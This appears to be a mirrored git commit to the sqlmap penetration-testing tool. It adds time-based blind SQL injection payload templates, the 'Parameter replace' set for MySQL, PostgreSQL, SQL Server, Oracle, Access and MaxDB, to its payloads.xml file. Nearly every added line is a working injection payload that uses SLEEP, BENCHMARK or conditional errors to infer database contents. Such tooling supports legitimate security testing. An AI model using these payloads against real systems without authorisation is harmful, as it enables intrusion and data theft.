mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-25 19:13:48 +03:00
more on issue #97
This commit is contained in:
Bernardo Damele
parent
c483e91445
commit
243a905788
199
xml/payloads.xml
199
xml/payloads.xml
|
|
@ -76,7 +76,7 @@ Tag: <test>
|
||||||
2: Error-based SQL injection
|
2: Error-based SQL injection
|
||||||
3: UNION query SQL injection
|
3: UNION query SQL injection
|
||||||
4: Stacked queries SQL injection
|
4: Stacked queries SQL injection
|
||||||
5: AND/OR time-based blind SQL injection
|
5: Time-based blind SQL injection
|
||||||
|
|
||||||
Sub-tag: <level>
|
Sub-tag: <level>
|
||||||
From which level check for this test.
|
From which level check for this test.
|
||||||
|
|
@ -2836,6 +2836,203 @@ Formats:
|
||||||
<!-- End of OR time-based blind tests -->
|
<!-- End of OR time-based blind tests -->
|
||||||
|
|
||||||
|
|
||||||
|
<!-- Time-based blind tests - Parameter replace -->
|
||||||
|
<test>
|
||||||
|
<title>MySQL time-based blind - Parameter replace (MAKE_SET)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3</clause>
|
||||||
|
<where>3</where>
|
||||||
|
<vector>MAKE_SET([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL time-based blind - Parameter replace (ELT)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3</clause>
|
||||||
|
<where>3</where>
|
||||||
|
<vector>ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL time-based blind - Parameter replace (bool*int)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3</clause>
|
||||||
|
<where>3</where>
|
||||||
|
<vector>([INFERENCE])*SLEEP([SLEEPTIME])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>([RANDNUM]=[RANDNUM])*SLEEP([SLEEPTIME])</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.0 time-based blind - Parameter replace</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3</clause>
|
||||||
|
<where>3</where>
|
||||||
|
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.0</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL < 5.0 time-based blind - Parameter replace (heavy queries)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>2</risk>
|
||||||
|
<clause>1,2,3</clause>
|
||||||
|
<where>3</where>
|
||||||
|
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[DELAYED]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<!-- TODO: carry on editing these payloads -->
|
||||||
|
<test>
|
||||||
|
<title>PostgreSQL time-based blind - Parameter replace (GENERATE_SERIES)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>2</risk>
|
||||||
|
<clause>1,2,3</clause>
|
||||||
|
<where>3</where>
|
||||||
|
<vector>(SELECT GENERATE_SERIES([ORIGVALUE],[ORIGVALUE],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>(SELECT GENERATE_SERIES([ORIGVALUE],[ORIGVALUE],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>PostgreSQL</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Microsoft SQL Server/Sybase time-based blind - Parameter replace</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,3</clause>
|
||||||
|
<where>3</where>
|
||||||
|
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
|
<dbms>Sybase</dbms>
|
||||||
|
<os>Windows</os>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Oracle time-based blind - Parameter replace</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,3</clause>
|
||||||
|
<where>3</where>
|
||||||
|
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Oracle</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Microsoft Access time-based blind - Parameter replace</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,3</clause>
|
||||||
|
<where>3</where>
|
||||||
|
<vector>IIF([INFERENCE],[ORIGVALUE],1/0)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Microsoft Access</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>SAP MaxDB time-based blind - Parameter replace</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,3</clause>
|
||||||
|
<where>3</where>
|
||||||
|
<vector>(CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>(CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>SAP MaxDB</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
<!-- End of time-based blind tests - Parameter replace -->
|
||||||
|
|
||||||
|
|
||||||
<!-- Time-based blind tests - GROUP BY and ORDER BY clauses -->
|
<!-- Time-based blind tests - GROUP BY and ORDER BY clauses -->
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.0.11 time-based blind - GROUP BY and ORDER BY clauses</title>
|
<title>MySQL >= 5.0.11 time-based blind - GROUP BY and ORDER BY clauses</title>
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue
Block a user